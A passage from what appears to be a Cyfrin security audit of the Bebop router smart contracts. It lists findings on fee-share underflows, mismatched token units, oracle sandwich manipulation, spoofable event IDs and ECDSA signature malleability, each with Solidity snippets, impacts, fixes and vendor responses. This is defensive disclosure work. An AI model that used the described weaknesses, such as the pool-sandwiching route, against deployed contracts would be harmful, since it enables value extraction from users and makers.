    v = uint8(signature[64]);
    if (v < 27) v += 27; // normalize {0,1} -> {27,28}
}
```

This mirrors the behavior of OpenZeppelin's ECDSA library and eliminates the asymmetry between the 64-byte and 65-byte paths.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.14 `BebopRouterOrderLib::getProtocolShareFee`, `getProtocolShareSlippage` are not capped at `UNIT_BASE`, allowing over-range protocol shares to revert fills

Description: `getProtocolShareFee` and `getProtocolShareSlippage` unpack `uint32` bit-fields from `order.info`, returning values that range from `0` to `2^32 - 1`:

```
// contracts/libraries/BebopRouterOrderLib.sol:92-98
function getProtocolShareSlippage(BebopRouterOrder calldata order) internal pure returns (uint32) {
    return uint32(order.info >> 32);
}

function getProtocolShareFee(BebopRouterOrder calldata order) internal pure returns (uint32) {
    return uint32(order.info);
}
```

These shares are treated as fractions of `UNIT_BASE` (1,000,000 = 100%) in `_distributeFees`:

```
// contracts/BebopRouter.sol:474-486
uint32 protocolShareFee = order.getProtocolShareFee();
uint32 protocolShareSlippage = order.getProtocolShareSlippage();
uint256 protocolFeeShare = (feeAmount * protocolShareFee) / UNIT_BASE;
uint256 protocolSlippageShare = (slippageAmount * protocolShareSlippage) / UNIT_BASE;
...
uint256 totalMakerRefund = (feeAmount + slippageAmount) - protocolFeeShare - protocolSlippageShare;
```

If `protocolShareFee > UNIT_BASE` while `feeAmount > 0`, or `protocolShareSlippage > UNIT_BASE` while `slippageAmount > 0`, the computed protocol share can exceed its source amount. The final subtraction then underflows under Solidity 0.8 checked arithmetic and reverts the swap.

No in-scope code validates that the packed `uint32` share fields satisfy `<= UNIT_BASE`; the protection is entirely reliance on the `routerSigner` not encoding an over-range value.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_distributeFees`
- `contracts/libraries/BebopRouterOrderLib.sol` - `getProtocolShareFee`, `getProtocolShareSlippage`

Impact: A routerSigner-signed order with an over-range protocol share can cause every `swap` or `settle` call using that order to revert in `_distributeFees`. The transaction revert unwinds earlier token transfers and nonce invalidation, so user funds are not lost, but the affected order remains unfillable until a corrected order is signed.

Recommended Mitigation: Add a defensive cap after fetching the protocol shares:

```
uint32 protocolShareFee = order.getProtocolShareFee();
uint32 protocolShareSlippage = order.getProtocolShareSlippage();
require(protocolShareFee <= UNIT_BASE && protocolShareSlippage <= UNIT_BASE, InvalidProtocolShares());
```

Alternatively, clamp at read time in `getProtocolShareFee`/`getProtocolShareSlippage` or validate shares at order-hash time. Either prevents an encoding error from producing an opaque underflow revert.

Bebop: Fixed in commit 3c31680.

Cyfrin: Verified.

7.3.15 `BebopRouter::_distributeFees` subtracts cross-denomination operands when a post-hook makes pmmToToken differ from toToken

Description: `_distributeFees` runs before post-hooks and computes the fee pool from the router's `pmmToToken` balance:

```
// contracts/BebopRouter.sol:450-455
uint256 pmmToBalance = IERC20(order.pmmToToken).balanceOf(address(this));

uint256 feePool = pmmToBalance > calc.toAmountAfterFeeSlippage
    ? pmmToBalance - calc.toAmountAfterFeeSlippage
    : 0;
```

`pmmToBalance` is denominated in `order.pmmToToken`, the token delivered by the PMM. However, `calc.toAmountAfterFeeSlippage` is derived from `order.toAmount`, which represents the final receiver token:

```
// contracts/BebopRouter.sol:403-408
calc.newFromAmount = uint256(exactAmount);
calc.newToAmount = (order.toAmount * calc.newFromAmount) / order.fromAmount;
calc.feeAmount = (calc.newToAmount * fee) / UNIT_BASE;
calc.slippageAmount = (calc.newToAmount * slippage) / UNIT_BASE;
calc.toAmountAfterFeeSlippage = calc.newToAmount - calc.feeAmount - calc.slippageAmount;
```

When `order.pmmToToken == order.toToken`, both operands share the same units. When a post-hook converts `pmmToToken` into a different `toToken`, the operands can represent different tokens, decimals, or conversion rates. In that case, `_distributeFees` may understate or overstate `feePool` before the post-hook has converted the remaining `pmmToToken` into the receiver asset.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_calculateAmounts`, `BebopRouter::_distributeFees`, `BebopRouter::_executeSwapCore`

Impact: When a post-hook conversion changes the denomination between `pmmToToken` and `toToken`, fee/slippage distribution can be computed from incompatible units:

- If `calc.toAmountAfterFeeSlippage` is inflated relative to the `pmmToToken` balance, `feePool` collapses to zero and no fee/slippage refund is distributed.
- If `calc.toAmountAfterFeeSlippage` is understated relative to the `pmmToToken` balance, `feePool` is inflated and value can be misclassified as fee, slippage refund, or positive slippage.

The affected path requires a post-hook that changes the output token denomination.

Recommended Mitigation: Ensure the receiver floor used by `_distributeFees` is denominated in `pmmToToken`, not final `toToken`, whenever fee/slippage is distributed before a post-hook conversion.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.16 `BebopPmmHelper::_executePmmSwap` does not validate PMM taker transfer commands before using the ERC20 approval path

Description: For single PMM orders, the decoded `packed_commands` field controls how `BebopSettlement` expects to receive the taker's token:

```
// external/bebop-settlement/src/libs/Order.sol:68-73
function extractSingleOrderCommands(
    uint256 commands
) internal pure returns (bool takerHasNative, bool makerHasNative, bool takerUsingPermit2){
    takerHasNative = (commands & 0x01) != 0;
    makerHasNative = (commands & 0x02) != 0;
    takerUsingPermit2 = (commands & 0x04) != 0;
}
```

The router decodes this field but discards it:

```
// contracts/base/BebopPmmHelper.sol:62-76
(
    , // expiry
    , // taker_address
    ...
    , // receiver
    , // packed_commands
    uint256 pmmFlags
) = abi.decode(...);

require(taker_token == expectedFromToken && maker_token == expectedToToken, TokenMismatch());
```

`_executePmmSwap` then always approves the PMM and calls settlement through the ERC20 transfer-from-contract path:

```
// contracts/base/BebopPmmHelper.sol:207-212
bytes memory pmmCalldata = bebopPmmCalldata;
uint256 offset = selector == SWAP_SINGLE_SELECTOR ? SWAP_SINGLE_OFFSET : SWAP_AGGREGATE_OFFSET;
_changeCalldata(pmmCalldata, offset, newFromAmount);
_ensureApproval(IERC20(fromToken), bebopPmm, newFromAmount);
```

```
(bool success, bytes memory returnData) = bebopPmm.call(pmmCalldata);
```

If the signed PMM order sets `takerHasNative` or `takerUsingPermit2`, settlement expects a different taker transfer mechanism and the PMM call reverts. The router does not reject that unsupported command mode at its own validation boundary.

Files:

- `contracts/base/BebopPmmHelper.sol - BebopPmmHelper::_decodeSinglePmm, BebopPmmHelper::_executePmmSwap`
- `external/bebop-settlement/src/libs/Order.sol - Order::extractSingleOrderCommands`

Impact: Single PMM orders signed with non-ERC20 taker commands (`takerHasNative` or `takerUsingPermit2`) revert inside the external PMM call instead of being rejected by the router with a typed validation error. The issue affects diagnostics and integration failure handling for unsupported PMM taker command modes.

Recommended Mitigation: Either explicitly validate that the decoded `packed_commands` field corresponds to the supported ERC20 taker-transfer mode, or document clearly that `_executePmmSwap` only supports PMM orders whose taker side can be settled from the router's ERC20 approval. The validation can be added alongside the existing token checks in `_decodeSinglePmm`:

```
// After decoding packed_commands:
(bool takerHasNative, , bool takerUsingPermit2) = Order.extractSingleOrderCommands(packed_commands);
require(!takerHasNative && !takerUsingPermit2, UnsupportedTakerCommand());
```

This converts an opaque settlement revert into a clear, diagnosable router error.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.17 `BebopRouter::_getFeeAndSlippage` passes full-quote PMM amounts to the oracle instead of the scaled actual fill, mispricing slippage on partial fills

Description: `_validateAndPrepare` obtains the oracle slippage rate before calculating the current fill:

```
// contracts/BebopRouter.sol:251-255
// Get fee/slippage + calculate amounts
{
    (ctx.feeValue, ctx.slippageValue) = _getFeeAndSlippage(order, extraInfo, ctx.pmm);
    ctx.calc = _calculateAmounts(exactAmount, order, ctx.feeValue, ctx.slippageValue);
}
```

`_getFeeAndSlippage` forwards the full PMM quote amounts decoded from the PMM calldata:

```
// contracts/BebopRouter.sol:385-389
if (order.oracle != address(0)) {
    // Use actual PMM amounts from calldata (not order amounts, since calldata is replaceable)
    slippage = IOracle(order.oracle).getSlippage(
        order.pmmFromToken, order.pmmToToken, pmm.pmmTakerAmount, pmm.pmmMakerAmount, extraInfo
    );
}
```

For same-token exact-in fills, the router's actual input size is the caller-provided `exactAmount`, and the PMM calldata is later overwritten with that current fill amount:

```
// contracts/BebopRouter.sol:403-408
if (exactAmount > 0) {
    calc.newFromAmount = uint256(exactAmount);
    calc.newToAmount = (order.toAmount * calc.newFromAmount) / order.fromAmount;
    calc.feeAmount = (calc.newToAmount * fee) / UNIT_BASE;
```

```
    calc.slippageAmount = (calc.newToAmount * slippage) / UNIT_BASE;
    calc.toAmountAfterFeeSlippage = calc.newToAmount - calc.feeAmount - calc.slippageAmount;
```

```
// contracts/base/BebopPmmHelper.sol:207-210
bytes memory pmmCalldata = bebopPmmCalldata;
uint256 offset = selector == SWAP_SINGLE_SELECTOR ? SWAP_SINGLE_OFFSET : SWAP_AGGREGATE_OFFSET;
_changeCalldata(pmmCalldata, offset, newFromAmount);
_ensureApproval(IERC20(fromToken), bebopPmm, newFromAmount);
```

When `exactAmount < pmm.pmmTakerAmount` on that path, an amount-sensitive oracle receives the full signed PMM quote size rather than the smaller fill that settlement executes. The documented design explicitly uses PMM amounts over router-order amounts to avoid calldata-replacement manipulation, but does not distinguish full PMM quote amounts from the scaled current fill.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_validateAndPrepare`, `BebopRouter::_getFeeAndSlippage`, `BebopRouter::_calculateAmounts`
- `contracts/base/BebopPmmHelper.sol` - `BebopPmmHelper::_executePmmSwap`

Impact: Amount-sensitive oracles can compute a slippage rate for the full PMM quote instead of the current partial fill. For typical size-dependent curves this can overcharge partial fills, because larger notional sizes usually imply larger slippage. The reference `PoolsBasedOracle` ignores the amount arguments entirely and prices only pool drift, so the mismatch is inert for that implementation. The impact is limited to custom amount-aware oracles and partial-fill execution.

Recommended Mitigation: Define the oracle amount semantics explicitly. If the oracle should price the current fill, pass the fill amount where it is known, such as exact-in fills, and pass a proportionally scaled maker amount:

```
// Example exact-in sizing
uint256 oracleFromAmount = uint256(exactAmount);
uint256 oracleToAmount = pmm.pmmMakerAmount * oracleFromAmount / pmm.pmmTakerAmount;
```

For exact-out, where the required input depends on the returned slippage rate, either document that the oracle receives full PMM quote amounts or use an oracle API that can price exact-out targets without requiring the router to solve that circular dependency.

Bebop: Acknowledged.

7.3.18 `BebopPmmSwap` event emit reverts on aggregate orders with a dust last refundable maker

Description: In `_distributeMakerRefundAndEmit` the maker refund is split across makers by their last-leg amount. Every maker except the highest-index refundable one gets a floor-truncated proportional share, and the highest-index refundable maker (`lastRefundableMaker`) absorbs the leftover dust as `totalMakerRefund - refundDistributed`.

https://github.com/bebop-dex/bebop-rfqa/blob/main/contracts/BebopRouter.sol#L512-L519

```
uint256 refundDistributed;
for (uint256 i; i < pmm.makerAddresses.length; ++i) {
    uint256 makerRefund;
    if (totalMakerRefund > 0 && pmm.lastLegAmounts[i] > 0) {
        makerRefund = i == lastRefundableMaker
            ? totalMakerRefund - refundDistributed
            : (totalMakerRefund * pmm.lastLegAmounts[i]) / totalLastLeg;
        refundDistributed += makerRefund;
```

The event then emits the maker balance change as an unchecked subtraction.

https://github.com/bebop-dex/bebop-rfqa/blob/main/contracts/BebopRouter.sol#L532-L547

```
uint256 scaledMakerAmt = (legs[j].makerAmount * calc.newFromAmount) / pmm.pmmTakerAmount;

bool isLastLeg = legs[j].makerToken == order.pmmToToken;
uint256 legRefund = isLastLeg ? makerRefund : 0;

emit BebopPmmSwap(
    ...
    scaledMakerAmt - legRefund,  // real maker balance change
    legRefund
);
```

For a single-last-leg maker, `legs[j].makerAmount` equals `lastLegAmounts[i]`, so at a full fill `scaledMakerAmt` equals `lastLegAmounts[i]`. The truncation lost by earlier makers is bounded by the maker count, and all of it lands on `lastRefundableMaker`. When that maker has a tiny `lastLegAmounts[i]`, its `legRefund` can exceed its own `scaledMakerAmt`, and `scaledMakerAmt - legRefund` underflows.

Concrete trace with `lastLegAmounts = [50, 50, 50, 50, 1]`, `totalLastLeg = 201`, `totalMakerRefund = 10`, full fill:

- makers 0 to 3 each get `floor(10 * 50 / 201) = 2`, so `refundDistributed = 8`
- maker 4 gets `10 - 8 = 2`, but its `scaledMakerAmt = 1`
- `1 - 2` reverts

Impact: DoS of the affected order only. The transaction reverts atomically, the router nonce rolls back, and the user can re-quote. There is no fund loss and no theft.

Reachability is narrow. The underflow needs the highest-index refundable maker's last-leg amount, in raw token units, to be smaller than the accumulated truncation loss, which is bounded by the maker count. For normal 18 decimal or 6 decimal tokens this is sub-dust and will not appear in a real aggregate quote. It is realistic only for pathological dust orders or very low decimal tokens, and a maker cannot place itself at the highest index, so it is a robustness gap rather than an attacker-controlled path. Severity is Low.

Recommended Mitigation: Clamp the event subtraction so it cannot underflow.

```
+ uint256 emitMakerAmt = legRefund > scaledMakerAmt ? 0 : scaledMakerAmt - legRefund;
  emit BebopPmmSwap(
      ...
-     scaledMakerAmt - legRefund,
+     emitMakerAmt,
      legRefund
  );
```

This removes the only failure point. The token transfers in `_distributeMakerRefundAndEmit` already succeed because the distributed refunds always sum to `totalMakerRefund`, which is bounded by the fee pool.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.4 Informational

7.4.1 `BebopPmmHelper::_decodeSinglePmm, _decodeAggregatePmm` discard the PMM `receiver` and `taker_address` and never assert `receiver == address(this)`

Description: Both `_decodeSinglePmm` and `_decodeAggregatePmm` decode - and then immediately discard - the PMM order's `receiver` and `taker_address` fields (marked with `, // receiver` and `, // taker_address` comments at `contracts/base/BebopPmmHelper.sol:71` and `contracts/base/BebopPmmHelper.sol:131`). The router's entire fee-distribution and receiver-payout logic assumes the PMM settlement sends its output to the router: `_distributeFees` reads `IERC20(order.pmmToToken).balanceOf(address(this))` (`contracts/BebopRouter.sol:450`) and the receiver payout reads `IERC20(order.toToken).balanceOf(address(this))` (`contracts/BebopRouter.sol:305`). This invariant - that PMM output lands in the router - is currently enforced only by the out-of-scope `BebopSettlement` contract, which binds `receiver` into the maker signature and enforces `msg.sender == order.taker_address`. The router itself has no local `require(pmmReceiver == address(this))` guard. If a maker ever signs a PMM order naming a `receiver` other than the router (through misconfiguration, collusion, or a future settlement upgrade), the maker output is silently routed elsewhere; the router then distributes fees and pays `order.receiver` from whatever residual balance it holds, corrupting accounting. The `taker_address` mismatch results in a clean revert from the settlement rather than silent misaccounting, but is equally unvalidated locally.

Recommended Mitigation: In both `_decodeSinglePmm` and `_decodeAggregatePmm`, decode the PMM `receiver` field and add `require(receiver == address(this))`. Similarly decode `taker_address` and add `require(taker_address == address(this))`. This makes the load-bearing custody invariant locally enforced rather than delegated to an out-of-scope contract.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.4.2 `BebopRouter::_getFeeAndSlippage` consumes a spot-price example oracle with no TWAP, letting a taker sandwich the referenced pool to zero the slippage charge

Description: `_getFeeAndSlippage` (`contracts/BebopRouter.sol:385-390`) calls `IOracle(order.oracle).getSlippage(...)` at execution time and consumes the returned rate without any manipulation-resistance check or protocol-level deviation bound. The example PoolsBasedOracle referenced in the codebase derives its slippage rate from Uniswap V2 `getReserves` and V3 `slot0` - single-block spot prices with no TWAP and no observation window. `getSlippage` returns `0` whenever `currentPrice <= offchainMidPrice`. A taker who controls `order.receiver` can move the oracle's source pool in the same transaction (or via a sandwich bundle) to push currentPrice at or below offchainMidPrice, causing the oracle to return a zero slippage rate. Zeroing slippage raises `toAmountAfterFeeSlippage` (the receiver's share computed in `_calculateAmounts`) and correspondingly shrinks `feePool` in `_distributeFees`, so the slippage amount that would otherwise be refunded to makers or routed to the treasury is instead retained by the receiver. Conversely, a third party can inflate the pool price to maximize the slippage rate and over-charge the receiver's share (griefing direction). The offchainMidPrice reference and the pool list are bound into the signed `extraInfo` hash, so the taker cannot alter the reference - but the live pool state the oracle reads at call time is freely movable.

This is a property of the example oracle provided in the codebase. Any production oracle chosen by the `routerSigner` that similarly relies on spot pool prices would expose the same manipulation surface; the router applies the oracle-returned rate verbatim with no TWAP requirement, staleness guard, or deviation cap of its own.

Recommended Mitigation: At the router boundary, enforce a maximum combined rate (`require(fee + slippage < UNIT_BASE)`) to bound worst-case manipulation, and document that accepted oracles must use TWAP-based pricing rather than single-block spot reads. The example PoolsBasedOracle should be updated to use a TWAP observation window (e.g., Uniswap V3's `observe` API) instead of `slot0` / `getReserves` to resist within-transaction manipulation.

Bebop: Acknowledged.

7.4.3 BebopPmmHelper::_decodeSinglePmm, _decodeAggregatePmm read eventId from unsigned PMM flags, letting a taker spoof emitted event identifiers

Description: pmm.eventId is extracted as uint128(pmmFlags >> 128) from the PMM order's flags word (contracts/base/BebopPmmHelper.sol:89 for single orders, :135 for aggregate orders). In the out-of-scope BebopSettlement, the flags field is explicitly excluded from the maker signature hash - it is not a signed field. The router also does not sign or validate eventId. Because bebopPmmCalldata is caller-supplied, any taker can set an arbitrary value in the upper 128 bits of pmmFlags without invalidating the maker's signature. Both BebopPmmSwap and BebopRouterSwap are emitted with this attacker-chosen eventId (contracts/BebopRouter.sol:312-318, 537-547). Off-chain indexers or accounting systems that key on eventId for fill attribution can therefore be fed spoofed or colliding identifiers. On-chain fund flows are unaffected; the impact is confined to observability and off-chain accounting integrity.

Recommended Mitigation: If eventId must be trustworthy for off-chain consumers, bind it into a signed field - either in the router order (adding it to the ORDER_TYPE_HASH fields) or in the maker PMM order. If eventId is intentionally untrusted, document this explicitly so off-chain consumers do not rely on it for fill attribution.

Bebop: Acknowledged.

7.4.4 BebopValidation::validateSignature does not enforce canonical low-s, accepting signature malleability and dual encodings

Description: The EOA (non-contract) branch of validateSignature (contracts/base/BebopValidation.sol:59-67) accepts both 65-byte standard ECDSA signatures and 64-byte EIP-2098 compact signatures. The 65-byte branch performs no s-range check; the 64-byte branch strips only the yParity bit from the vs word (s = vs & UPPER_BIT_MASK) but does not enforce s <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0. As a result, for any given signing key and message, two distinct s values (one in the lower half, one in the upper half of the curve order) both recover to the same address and both pass validation. Additionally, 64-byte and 65-byte encodings of the same logical signature are each independently valid.

Within BebopRouter, replay protection keys on order.routerNonce consumed via the bitmap in BebopValidation::_invalidateNonce, not on signature bytes. A second presentation of the same order with a malleable signature therefore does not bypass the nonce check and cannot replay a fill on-chain. However, off-chain consumers that key on signature bytes - such as relayers indexing pending settle orders by signature, or any future code path that hashes the signature for deduplication - would treat the two encodings as distinct authorizations for the same order. The absence of canonical-s enforcement is a latent gap as EIP-2098 adoption and off-chain signature indexing grow.

Recommended Mitigation: Add a canonical low-s check in the 65-byte branch before passing s to ecrecover: require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0). OpenZeppelin's ECDSA::tryRecover enforces this check and handles both 65-byte and 64-byte EIP-2098 encodings safely; replacing the inline ecrecover logic with ECDSA::tryRecover (or SignatureChecker::isValidSignatureNow) would address malleability and also handle EIP-7702-delegated EOAs in a single change.

Bebop: Acknowledged.

7.5 Gas Optimization

7.5.1 `HookLib::hooksHash` initializes `nonce` to its default value

Description: `nonce` is explicitly initialized to `0`, which is already its default value in Solidity. The explicit `= 0` assignment is redundant and wastes a small amount of gas.

```
contracts/libraries/HookLib.sol
85:             uint256 nonce = 0;
```

Recommended Mitigation:

```
uint256 nonce;
```

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.